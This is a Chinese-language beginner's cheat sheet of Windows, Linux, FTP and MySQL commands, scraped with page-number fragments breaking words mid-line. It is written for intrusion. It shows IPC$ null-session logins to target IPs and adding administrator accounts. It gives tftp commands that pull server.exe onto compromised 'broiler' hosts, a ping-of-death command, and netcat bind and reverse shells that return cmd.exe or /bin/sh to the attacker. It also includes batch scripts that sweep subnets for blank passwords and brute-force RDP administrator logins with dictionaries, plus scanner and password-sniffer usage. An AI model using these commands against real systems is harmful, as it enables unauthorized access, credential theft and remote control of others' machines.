菜鳥必備的網(wǎng)絡(luò)探測(cè)常用命令大全

1、菜鳥必備的網(wǎng)絡(luò)探測(cè)常用命令大全來(lái)源：歲月聯(lián)盟 編輯：zhuzhu 時(shí)間：2010-04-15 菜鳥必備的網(wǎng)絡(luò)探測(cè)常用命令總結(jié)：net use ipipc$ " " /user:" " 建立IPC空鏈接net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接net use h: ipc$ "密碼" /user:"用戶名" 直接登陸后映射對(duì)方C：到本地為H:net use h: ipc$ 登陸后映射對(duì)方C：到本地為H:net use ipipc$ /de

2、l 刪除IPC鏈接net use h: /del 刪除映射對(duì)方到本地的為H:的映射net user 用戶名密碼/add 建立用戶net user guest /active:yes 激活guest用戶net user 查看有哪些用戶net user 帳戶名 查看帳戶的屬性net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員權(quán)限,注意：administrator后加s用復(fù)數(shù)net start 查看開啟了哪些服務(wù)net start 服務(wù)名 開啟服務(wù);(如:net start telnet， net start sc

3、hedule)net stop 服務(wù)名 停止某服務(wù)net time 目標(biāo)ip 查看對(duì)方時(shí)間net time 目標(biāo)ip /set 設(shè)置本地計(jì)算機(jī)時(shí)間與"目標(biāo)IP"主機(jī)的時(shí)間同步,加上參數(shù)/yes可取消確認(rèn)信息net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享net view ip 查看對(duì)方局域網(wǎng)內(nèi)開啟了哪些共享net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置net logoff 斷開連接的共享net pause 服務(wù)名 暫停某服務(wù)net send ip "文本信息" 向?qū)Ψ桨l(fā)信息net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息net share 查看本地開啟的共享

4、net share ipc$ 開啟ipc$共享net share ipc$ /del 刪除ipc$共享net share c$ /del 刪除C：共享net user guest 12345 用guest用戶登陸后用將密碼改為12345net password 密碼 更改系統(tǒng)登陸密碼netstat -a 查看開啟了哪些端口,常用netstat -annetstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -annetstat -v 查看正在進(jìn)行的工作netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況)netstat

5、-s 查看正在使用的所有協(xié)議使用情況nbtstat -A ip 對(duì)方136到139其中一個(gè)端口開了的話，就可查看對(duì)方最近登陸的用戶名(03前的為用戶名)-注意：參數(shù)-A要大寫tracert -參數(shù) ip(或計(jì)算機(jī)名) 跟蹤路由(數(shù)據(jù)包)，參數(shù)："-w數(shù)字"用于設(shè)置超時(shí)間隔。ping ip(或域名) 向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù)，參數(shù)："-l空格數(shù)據(jù)包大小""-n發(fā)送數(shù)據(jù)次數(shù)""-t"指一直ping。ping -t -l 65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之pin

6、g)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數(shù)"/all"顯示全部配置信息tlist -t 以樹行列表顯示進(jìn)程(為系統(tǒng)的附加工具，默認(rèn)是沒(méi)有安裝的，在安裝目錄的Support/tools文件夾內(nèi))kill -F 進(jìn)程名 加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具，默認(rèn)是沒(méi)有安裝的，在安裝目錄的Support/tools文件夾內(nèi))del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/A-R、/A-H、/A-

7、S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如"DEL/AR *.*"表示刪除當(dāng)前目錄下所有只讀文件，"DEL/A-S *.*"表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件#2 二：del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時(shí)使用參數(shù)/Q 可取消刪除操作時(shí)的系統(tǒng)確認(rèn)就直接刪除。(二個(gè)命令作用相同)move 盤符路徑要移動(dòng)的文件名存放移動(dòng)文件的路徑移動(dòng)后文件名 移動(dòng)文件,用參數(shù)/y將取消確認(rèn)移動(dòng)目錄存在相同文件的提示就直接覆蓋fc one.txt two.txt > 3st.t

8、xt 對(duì)比二個(gè)文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令at id號(hào) 開啟已注冊(cè)的某個(gè)計(jì)劃任務(wù)at /delete 停止所有計(jì)劃任務(wù)，用參數(shù)/yes則不需要確認(rèn)就直接停止at id號(hào) /delete 停止某個(gè)已注冊(cè)的計(jì)劃任務(wù)at 查看所有的計(jì)劃任務(wù)at ip time 程序名(或一個(gè)命令) /r 在某時(shí)間運(yùn)行對(duì)方某程序并重新啟動(dòng)計(jì)算機(jī)finger username host 查看最近有哪些用戶登陸telnet ip 端口 遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23open ip 連接到IP(屬telnet登陸后的

9、命令)telnet 在本機(jī)上直接鍵入telnet 將進(jìn)入本機(jī)的telnetcopy 路徑文件名1路徑文件名2 /y 復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時(shí)取消確認(rèn)你要改寫一份現(xiàn)存目錄文件cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進(jìn)制文件，/a指ASCLL格式文件copy ipadmin$svv.exe c: 或:copyipadmin$*.* 復(fù)制對(duì)方admini$共享下的srv.exe文件(所有文件)至本地C：xcopy 要復(fù)制的文件或目錄

10、樹目標(biāo)地址目錄名 復(fù)制文件和目錄樹，用參數(shù)/Y將不提示覆蓋相同文件tftp -i 自己IP(用肉機(jī)作跳板時(shí)這用肉機(jī)IP) get server.exe c:server.exe 登陸后，將"IP"的server.exe下載到目標(biāo)主機(jī)c:server.exe 參數(shù)：-i指以二進(jìn)制模式傳送，如傳送exe文件時(shí)用，如不加-i 則以ASCII模式(傳送文本文件模式)進(jìn)行傳送ftp ip 端口 用于上傳文件至服務(wù)器或進(jìn)行文件操作，默認(rèn)端口為21。bin指用二進(jìn)制方式傳送(可執(zhí)行文件進(jìn));默認(rèn)為ASCII格式傳送(文本文件時(shí))route print 顯示出IP路由，將主要顯示網(wǎng)絡(luò)地址N

11、etwork addres，子網(wǎng)掩碼Netmask，網(wǎng)關(guān)地址Gateway addres，接口地址Interfacearp 查看和處理ARP緩存，ARP是名字解析的意思，負(fù)責(zé)把一個(gè)IP解析成一個(gè)物理性的MAC地址。arp -a將顯示出全部信息start 程序名或命令 /max 或/min 新開一個(gè)新窗口并最大化(最小化)運(yùn)行某程序或命令mem 查看cpu使用情況attrib 文件名(目錄名) 查看某文件(目錄)的屬性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性;用+則是添加為某屬性dir 查看文件，參數(shù)：/Q顯示文

12、件及目錄屬系統(tǒng)哪個(gè)用戶，/T:C顯示文件創(chuàng)建時(shí)間，/T:A顯示文件上次被訪問(wèn)時(shí)間，/T:W上次被修改時(shí)間date /t 、 time /t 使用此參數(shù)即"DATE/T"、"TIME/T"將只顯示當(dāng)前日期和時(shí)間，而不必輸入新日期和時(shí)間set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量set 顯示當(dāng)前所有的環(huán)境變量set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量pause 暫停批處理程序，并顯示出：請(qǐng)按任意鍵繼續(xù).if 在批處理程序中執(zhí)行條件處理(更多說(shuō)明見(jiàn)if命令及變量)goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中

13、帶標(biāo)簽的行(標(biāo)簽必須單獨(dú)一行，且以冒號(hào)打頭，例如："：start"標(biāo)簽)call 路徑批處理文件名 從批處理程序中調(diào)用另一個(gè)批處理程序 (更多說(shuō)明見(jiàn)call /?)for 對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令(更多說(shuō)明見(jiàn)for命令及變量)echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置echo 信息 在屏幕上顯示出信息find 文件名 查找某文件title 標(biāo)題名字 更改CMD窗口標(biāo)題名字color 顏色值 設(shè)置cmd控制臺(tái)前景和背景顏色;0=黑、1=藍(lán)、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍(lán)、A=淡綠、

14、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統(tǒng)一改為：EntSky )#3 三：ver 在DOS窗口下顯示版本信息winver 彈出一個(gè)窗口顯示版本信息(內(nèi)存大小、系統(tǒng)版本、補(bǔ)丁版本、計(jì)算機(jī)名)format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFSmd目錄名 創(chuàng)建目錄replace 源文件要替換文件的目錄 替換文件ren 原文件名新文件名 重命名文件名tree 以樹形結(jié)構(gòu)顯示出目錄，用參數(shù)-f 將列出第個(gè)文件夾中文件名稱type 文件名 顯示文本文件

15、的內(nèi)容more 文件名 逐屏顯示輸出文件doskey 要鎖定的命令=字符doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調(diào)用win2k命令，并創(chuàng)建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir);解鎖：doskey dir=taskmgr 調(diào)出任務(wù)管理器chkdsk /F D: 檢查磁盤D并顯示狀態(tài)報(bào)告;加參數(shù)/f并修復(fù)磁盤上的錯(cuò)誤tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口path 路徑可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個(gè)路徑。c

16、md 啟動(dòng)一個(gè)win2K命令解釋窗口。參數(shù)：/eff、/en 關(guān)閉、開啟命令擴(kuò)展;更我詳細(xì)說(shuō)明見(jiàn)cmd /?regedit /s 注冊(cè)表文件名 導(dǎo)入注冊(cè)表;參數(shù)/S指安靜模式導(dǎo)入，無(wú)任何提示;regedit /e 注冊(cè)表文件名 導(dǎo)出注冊(cè)表cacls 文件名參數(shù) 顯示或修改文件訪問(wèn)控制列表(ACL)針對(duì)NTFS格式時(shí)。參數(shù)：/D 用戶名:設(shè)定拒絕某用戶訪問(wèn);/P 用戶名:perm 替換指定用戶的訪問(wèn)權(quán)限;/G 用戶名:perm 賦予指定用戶訪問(wèn)權(quán)限;Perm 可以是: N 無(wú)，R 讀取， W 寫入， C 更改(寫入)，F(xiàn) 完全控制;例：cacls D:test.txt /D pub 設(shè)定d:te

17、st.txt拒絕pub用戶訪問(wèn)。cacls 文件名 查看文件的訪問(wèn)用戶權(quán)限列表REM 文本內(nèi)容 在批處理文件中添加注解netsh 查看或更改本地網(wǎng)絡(luò)配置情況#4 四：IIS服務(wù)命令：iisreset /reboot 重啟win2k計(jì)算機(jī)(但有提示系統(tǒng)將重啟信息出現(xiàn))iisreset /start或stop 啟動(dòng)(停止)所有Internet服務(wù)iisreset /restart 停止然后重新啟動(dòng)所有Internet服務(wù)iisreset /status 顯示所有Internet服務(wù)狀態(tài)iisreset /enable或disable 在本地系統(tǒng)上啟用(禁用)Internet服務(wù)的重新啟動(dòng)iisre

18、set /rebootonerror 當(dāng)啟動(dòng)、停止或重新啟動(dòng)Internet服務(wù)時(shí)，若發(fā)生錯(cuò)誤將重新開機(jī)iisreset /noforce 若無(wú)法停止Internet服務(wù)，將不會(huì)強(qiáng)制終止Internet服務(wù)iisreset /timeout Val在到達(dá)逾時(shí)間(秒)時(shí)，仍未停止Internet服務(wù)，若指定/rebootonerror參數(shù)，則電腦將會(huì)重新開機(jī)。預(yù)設(shè)值為重新啟動(dòng)20秒，停止60秒，重新開機(jī)0秒。FTP 命令： (后面有詳細(xì)說(shuō)明內(nèi)容)ftp的命令行格式為:ftp -v -d -i -n -g主機(jī)名 -v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。-d 使用調(diào)試方式。-n 限制ftp的自動(dòng)登錄,即

19、不使用.netrc文件。-g 取消全局文件名。help 命令 或 ?命令 查看命令說(shuō)明bye 或 quit 終止主機(jī)FTP進(jìn)程,并退出FTP管理方式.pwd 列出當(dāng)前遠(yuǎn)端主機(jī)目錄put 或 send 本地文件名 上傳到主機(jī)上的文件名 將本地一個(gè)文件傳送至遠(yuǎn)端主機(jī)中g(shù)et 或 recv 遠(yuǎn)程主機(jī)文件名 下載到本地后的文件名 從遠(yuǎn)端主機(jī)中傳送至本地主機(jī)中mget remote-files 從遠(yuǎn)端主機(jī)接收一批文件至本地主機(jī)mput local-files 將本地主機(jī)中一批文件傳送至遠(yuǎn)端主機(jī)dir 或 ls remote-directory local-file 列出當(dāng)前遠(yuǎn)端主機(jī)目錄中的文件.如果有本

20、地文件,就將結(jié)果寫至本地文件ascii 設(shè)定以ASCII方式傳送文件(缺省值)bin 或 image 設(shè)定以二進(jìn)制方式傳送文件bell 每完成一次文件傳送,報(bào)警提示cdup 返回上一級(jí)目錄close 中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))open hostport 建立指定ftp服務(wù)器連接,可指定連接端口delete 刪除遠(yuǎn)端主機(jī)中的文件mdelete remote-files 刪除一批文件mkdir directory-name 在遠(yuǎn)端主機(jī)中建立目錄rename from to 改變遠(yuǎn)端主機(jī)中的文件名rmdir directory-name 刪除遠(yuǎn)端主機(jī)中的目錄status 顯示當(dāng)前

21、FTP的狀態(tài)system 顯示遠(yuǎn)端主機(jī)系統(tǒng)類型user user-name password account 重新以別的用戶名登錄遠(yuǎn)端主機(jī)open host port 重新建立一個(gè)新的連接prompt 交互提示模式macdef 定義宏命令lcd 改變當(dāng)前本地主機(jī)的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的HOME目錄chmod 改變遠(yuǎn)端主機(jī)的文件權(quán)限case 當(dāng)為ON時(shí),用MGET命令拷貝的文件名到本地機(jī)器中,全部轉(zhuǎn)換為小寫字母cd remote-dir 進(jìn)入遠(yuǎn)程主機(jī)目錄cdup 進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄! 在本地機(jī)中執(zhí)行交互shell，exit回到ftp環(huán)境,如!ls*.zip#5 五：MYSQL

22、 命令：mysql -h主機(jī)地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL，超級(jí)用戶root是沒(méi)有密碼的。(例：mysql -h10 -Uroot -P123456注:u與root可以不用加空格，其它也一樣)exit 退出MYSQLmysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼grant select on 數(shù)據(jù)庫(kù).* to 用戶名登錄主機(jī) identified by "密碼" 增加新用戶。(注意：和上面不同，下面的因?yàn)槭荕YSQL環(huán)境中的命令，所以后面都帶一個(gè)分號(hào)作為命令結(jié)束符)show da

23、tabases; 顯示數(shù)據(jù)庫(kù)列表。剛開始時(shí)才兩個(gè)數(shù)據(jù)庫(kù)：mysql和test。mysql庫(kù)很重要它里面有MYSQL的系統(tǒng)信息，我們改密碼和新增用戶，實(shí)際上就是用個(gè)庫(kù)進(jìn)行操作。use mysql;show tables; 顯示庫(kù)中的數(shù)據(jù)表describe 表名; 顯示數(shù)據(jù)表的結(jié)構(gòu)create database 庫(kù)名; 建庫(kù)use 庫(kù)名;create table 表名 (字段設(shè)定列表); 建表drop database 庫(kù)名;drop table 表名; 刪庫(kù)和刪表delete from 表名; 將表中記錄清空select * from 表名; 顯示表中的記錄mysqldump -opt scho

24、ol>school.bbb 備份數(shù)據(jù)庫(kù)：(命令在DOS的mysqlbin目錄下執(zhí)行);注釋:將數(shù)據(jù)庫(kù)school備份到school.bbb文件，school.bbb 是一個(gè)文本文件，文件名任取，打開看看你會(huì)有新發(fā)現(xiàn)。win2003系統(tǒng)下新增命令(實(shí)用部份)：shutdown /參數(shù) 關(guān)閉或重啟本地或遠(yuǎn)程主機(jī)。參數(shù)說(shuō)明：/S 關(guān)閉主機(jī)，/R 重啟主機(jī)， /T 數(shù)字 設(shè)定延時(shí)的時(shí)間，范圍0180秒之間， /A取消開機(jī)，/M /IP 指定的遠(yuǎn)程主機(jī)。例：shutdown /r /t 0 立即重啟本地主機(jī)(無(wú)延時(shí))taskill /參數(shù) 進(jìn)程名或進(jìn)程的pid 終止一個(gè)或多個(gè)任務(wù)和進(jìn)程。參數(shù)說(shuō)明：

25、/PID 要終止進(jìn)程的pid,可用tasklist命令獲得各進(jìn)程的pid，/IM 要終止的進(jìn)程的進(jìn)程名，/F 強(qiáng)制終止進(jìn)程，/T 終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。tasklist 顯示當(dāng)前運(yùn)行在本地和遠(yuǎn)程主機(jī)上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標(biāo)識(shí)符(PID)。參數(shù)說(shuō)明：/M 列出當(dāng)前進(jìn)程加載的dll文件，/SVC 顯示出每個(gè)進(jìn)程對(duì)應(yīng)的服務(wù)，無(wú)參數(shù)時(shí)就只列出當(dāng)前的進(jìn)程。#6 六：Linux系統(tǒng)下基本命令： 要區(qū)分大小寫uname 顯示版本信息(同win2K的 ver)dir 顯示當(dāng)前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)pwd 查詢當(dāng)前所在的目錄位置cd cd.回到上

26、一層目錄，注意cd 與.之間有空格。cd/返回到根目錄。cat 文件名 查看文件內(nèi)容cat >abc.txt 往abc.txt文件中寫上內(nèi)容。more 文件名 以一頁(yè)一頁(yè)的方式顯示一個(gè)文本文件。cp 復(fù)制文件mv 移動(dòng)文件rm 文件名 刪除文件，rm -a 目錄名刪除目錄及子目錄mkdir 目錄名 建立目錄rmdir 刪除子目錄，目錄內(nèi)沒(méi)有文檔。chmod 設(shè)定檔案或目錄的存取權(quán)限grep 在檔案中查找字符串diff 檔案文件比較find 檔案搜尋date 現(xiàn)在的日期、時(shí)間who 查詢目前和你使用同一臺(tái)機(jī)器的人以及Login時(shí)間地點(diǎn)w 查詢目前上機(jī)者的詳細(xì)資料whoami 查看自己的帳號(hào)

27、名稱groups 查看某人的Grouppasswd 更改密碼history 查看自己下過(guò)的命令ps 顯示進(jìn)程狀態(tài)kill 停止某進(jìn)程gcc 黑客通常用它來(lái)編譯C語(yǔ)言寫的文件su 權(quán)限轉(zhuǎn)換為指定使用者telnet IP telnet連接對(duì)方主機(jī)(同win2K)，當(dāng)出現(xiàn)bash$時(shí)就說(shuō)明連接成功。ftp ftp連接上某服務(wù)器(同win2K)附：批處理命令與變量1：for命令及變量 基本格式：FOR /參數(shù) %variable IN (set) DO command command_parameters %variable:指定一個(gè)單一字母可替換的參數(shù)，如：%i ，而指定一個(gè)變量則用：%i ，而調(diào)用

28、變量時(shí)用：%i% ，變量是區(qū)分大小寫的(%i 不等于 %I)。批處理每次能處理的變量從%0%9共10個(gè)，其中%0默認(rèn)給批處理文件名使用，%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值，同理：%2%9指輸入的第 2-9個(gè)值;例：net use ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3(set):指定一個(gè)或一組文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254), "(1 1 254)"第一個(gè)"1"指起始值，第二個(gè)"1"指增長(zhǎng)量，第三個(gè)"254&q

29、uot;指結(jié)束值，即：從1到254;"(1 -1 254)"說(shuō)明：即從254到1 command：指定對(duì)第個(gè)文件執(zhí)行的命令，如：net use命令;如要執(zhí)行多個(gè)命令時(shí)，命令這間加：& 來(lái)隔開command_parameters：為特定命令指定參數(shù)或命令行開關(guān)IN (set)：指在(set)中取值;DO command ：指執(zhí)行command參數(shù)：/L 指用增量形式 (set)為增量形式時(shí) ;/F 指從文件中不斷取值，直到取完為止 (set)為文件時(shí)，如(d:pass.txt)時(shí) 。用法舉例：echo off存為test.bat 說(shuō)明：對(duì)指定的一個(gè)C類網(wǎng)段的254個(gè)I

30、P依次試建立administrator密碼為空的IPC$連接，如果成功就把該IP存在test.txt中。/L指用增量形式(即從1-254或254-1);輸入的IP前面三位：*.*.*為批處理默認(rèn)的 %1;%G 為變量(ip的最后一位);& 用來(lái)隔開echo 和net use 這二個(gè)命令;| 指建立了ipc$后，在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%G 為完整的IP地址;(1 1 254) 指起始值，增長(zhǎng)量，結(jié)止值。echo offecho 用法格式：ok.bat ipFOR /F %i IN (D:user.dic) DO smb.exe %1

31、%i D:pass.dic 200存為：ok.exe 說(shuō)明：輸入一個(gè)IP后，用字典文件d:pass.dic來(lái)暴解d:user.dic中的用戶密碼，直到文件中值取完為止。%i為用戶名;%1為輸入的IP地址(默認(rèn))。#7 七：2：if命令及變量 基本格式：IF not errorlevel 數(shù)字 命令語(yǔ)句 如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼，指定條件為"真"。例：IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時(shí)，就值行后面的命令;IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1，就執(zhí)行后面的命令。0 指發(fā)現(xiàn)并成功執(zhí)行(

32、真);1 指沒(méi)有發(fā)現(xiàn)、沒(méi)執(zhí)行(假)。IF not 字符串1=字符串2 命令語(yǔ)句 如果指定的文本字符串匹配(即：字符串1 等于 字符串2)，就執(zhí)行后面的命令。例："if "%2%"="4" goto start"指：如果輸入的第二個(gè)變量為4時(shí)，執(zhí)行后面的命令(注意：調(diào)用變量時(shí)就%變量名%并加" ")IF not exist 文件名 命令語(yǔ)句 如果指定的文件名存在，就執(zhí)行后面的命令。例："if not nc.exe goto end"指：如果沒(méi)有發(fā)現(xiàn)nc.exe文件就跳到":end&quo

33、t;標(biāo)簽處。IF not errorlevel 數(shù)字 命令語(yǔ)句 else 命令語(yǔ)句或 IF not 字符串1=字符串2 命令語(yǔ)句 else 命令語(yǔ)句或 IF not exist 文件名 命令語(yǔ)句 else 命令語(yǔ)句 加上：else 命令語(yǔ)句后指：當(dāng)前面的條件不成立時(shí)，就指行else后面的命令。注意：else 必須與 if 在同一行才有效。當(dāng)有del命令時(shí)需把del命令全部?jī)?nèi)容用< >括起來(lái)，因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行，用上< >后就等于是單獨(dú)一行了;例如："if exist test.txt. else echo test.txt.missing &q

34、uot;，注意命令中的"."(二)系統(tǒng)外部命令(均需下載相關(guān)工具)：參數(shù)說(shuō)明：-h 查看幫助信息-d 后臺(tái)模式-e prog程序重定向，一但連接就執(zhí)行危險(xiǎn)-i secs延時(shí)的間隔-l 監(jiān)聽模式，用于入站連接-L 監(jiān)聽模式，連接天閉后仍然繼續(xù)監(jiān)聽，直到CTR+C-n IP地址，不能用域名-o film記錄16進(jìn)制的傳輸-p空格端口 本地端口號(hào)-r 隨機(jī)本地及遠(yuǎn)程端口-t 使用Telnet交互方式-u UDP模式-v 詳細(xì)輸出，用-vv將更詳細(xì)-w數(shù)字 timeout延時(shí)間隔-z 將輸入，輸出關(guān)掉(用于掃錨時(shí))基本用法：nc -l -p 80 開啟本機(jī)的TCP 80端口并監(jiān)聽n

35、c -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機(jī)的cmdshell在remote的TCP 5354端口高級(jí)用法：nc -L -p 80 作為蜜罐用1：開啟并不停地監(jiān)聽80端口，直到CTR+C為止nc-L -p 80 < c:honeyport.txt 作為蜜罐用3-1：開啟并不停地監(jiān)聽80端口，直到CTR+C,并把c:honeyport.txt中內(nèi)容送入管道中，亦可起到傳送文件作用type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2：開啟并不停地監(jiān)聽80端口，直到CTR+C,并把c:honeypor

36、t.txt中內(nèi)容送入管道中,亦可起到傳送文件作用本機(jī)上用：nc -l -p 本機(jī)端口在對(duì)方主機(jī)上用：nc -e cmd.exe 本機(jī)IP -p 本機(jī)端口 *win2Knc -e /bin/sh 本機(jī)IP -p 本機(jī)端口 *linux,unix 反向連接突破對(duì)方主機(jī)的防火墻本機(jī)上用：nc -d -l -p 本機(jī)端口 < 要傳送的文件路徑及名稱在對(duì)方主機(jī)上用：nc -vv 本機(jī)IP 本機(jī)端口 > 存放文件的路徑及名稱 傳送文件到對(duì)方主機(jī)備 注：| 管道命令>與>>的區(qū)別 ">"指：覆蓋;">>"指：保存到(添加

37、到)。如：dir c:winnt >> d:log.txt和dir c:winnt > d:log.txt二個(gè)命令分別執(zhí)行二次比較看：用>>的則是把二次的結(jié)果都保存了，而用：>則只有一次的結(jié)果，是因?yàn)榈诙蔚慕Y(jié)果把第一次的覆蓋了。#8 八：基本格式xscan -host <起始IP>-<終止IP> <檢測(cè)項(xiàng)目> 其他選項(xiàng) 掃錨"起始IP到終止IP"段的所有主機(jī)信息xscan -file <主機(jī)列表文件名> <檢測(cè)項(xiàng)目> 其他選項(xiàng) 掃錨"主機(jī)IP列表文件名"中的

38、所有主機(jī)信息檢測(cè)項(xiàng)目-active 檢測(cè)主機(jī)是否存活-os 檢測(cè)遠(yuǎn)程操作系統(tǒng)類型(通過(guò)NETBIOS和SNMP協(xié)議)-port 檢測(cè)常用服務(wù)的端口狀態(tài)-ftp 檢測(cè)FTP弱口令-pub 檢測(cè)FTP服務(wù)匿名用戶寫權(quán)限-pop3 檢測(cè)POP3-Server弱口令-smtp 檢測(cè)SMTP-Server漏洞-sql 檢測(cè)SQL-Server弱口令-smb 檢測(cè)NT-Server弱口令-iis 檢測(cè)IIS編碼/解碼漏洞-cgi 檢測(cè)CGI漏洞-nasl 加載Nessus攻擊腳本-all 檢測(cè)以上所有項(xiàng)目其它選項(xiàng)-i 適配器編號(hào) 設(shè)置網(wǎng)絡(luò)適配器, <適配器編號(hào)>可通過(guò)"-l"

39、;參數(shù)獲取-l 顯示所有網(wǎng)絡(luò)適配器-v 顯示詳細(xì)掃描進(jìn)度-p 跳過(guò)沒(méi)有響應(yīng)的主機(jī)-o 跳過(guò)沒(méi)有檢測(cè)到開放端口的主機(jī)-t 并發(fā)線程數(shù)量,并發(fā)主機(jī)數(shù)量 指定最大并發(fā)線程數(shù)量和并發(fā)主機(jī)數(shù)量, 默認(rèn)數(shù)量為100,10 P>-log 文件名 指定掃描報(bào)告文件名 (后綴為：TXT或HTML格式的文件)用法示例xscan -host -55 -all -active -p 檢測(cè)-55網(wǎng)段內(nèi)主機(jī)的所有漏洞，跳過(guò)無(wú)響應(yīng)的主機(jī)xscan -host -55 -por

40、t -smb -t 150 -o 檢測(cè)-55網(wǎng)段內(nèi)主機(jī)的標(biāo)準(zhǔn)端口狀態(tài)，NT弱口令用戶，最大并發(fā)線程數(shù)量為150，跳過(guò)沒(méi)有檢測(cè)到開放端口的主機(jī)xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測(cè)"hostlist.txt"文件中列出的所有主機(jī)的標(biāo)準(zhǔn)端口狀態(tài)，CGI漏洞，最大并發(fā)線程數(shù)量為200，同一時(shí)刻最多檢測(cè)5臺(tái)主機(jī)，顯示詳細(xì)檢測(cè)進(jìn)度，跳過(guò)沒(méi)有檢測(cè)到開放端口的主機(jī)#9 九：可捕獲局域網(wǎng)內(nèi)FTP/SMTP/POP3/HTTP協(xié)議密碼參數(shù)說(shuō)明-tcp 輸出TCP數(shù)據(jù)報(bào)-udp

41、輸出UDP數(shù)據(jù)報(bào)-icmp 輸出ICMP數(shù)據(jù)報(bào)-pass 過(guò)濾密碼信息-hide 后臺(tái)運(yùn)行-host 解析主機(jī)名-addr IP地址 過(guò)濾IP地址-port 端口 過(guò)濾端口-log 文件名 將輸出保存到文件-asc 以ASCII形式輸出-hex 以16進(jìn)制形式輸出用法示例參數(shù)說(shuō)明-h 顯示使用幫助-v 顯示版本信息-s 在屏幕上打出解密能力-b 密碼錯(cuò)誤時(shí)發(fā)出的聲音-t 同是發(fā)出多個(gè)連接(多線程)-N Prevent System Log entries on targeted server-U 卸載移除tscrack組件-f 使用-f后面的密碼-F 間隔時(shí)間(頻率)-l 使用-l后面的用戶名

42、-w 使用-w后面的密碼字典-p 使用-p后面的密碼-D 登錄主頁(yè)面用法示例tscrack -l administrator -w pass.dic 遠(yuǎn)程用密碼字典文件暴破主機(jī)的administrator的登陸密碼if not exist ipcscan.txt goto noscanfor /f "tokens=1 delims= " %i in (3389.txt) do call hack.bat %inscanecho 3389.txt no findor scan faild(存為3389.bat) (假設(shè)現(xiàn)有用SuperScan或其它掃錨

43、器掃到一批開有3389的主機(jī)IP列表文件3389.txt)if not exist tscrack.exe goto noscan:noscanecho tscrack.exe no find or scan faild(存為hack.bat) (運(yùn)行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個(gè)目錄下;就可以等待結(jié)果了)hack.bat意思是：運(yùn)行tscrack.exe用字典暴破3389.txt中所有主機(jī)的administrator密碼，并將破解結(jié)果保存在rouji.txt文件中。5、其它：Shutdown I

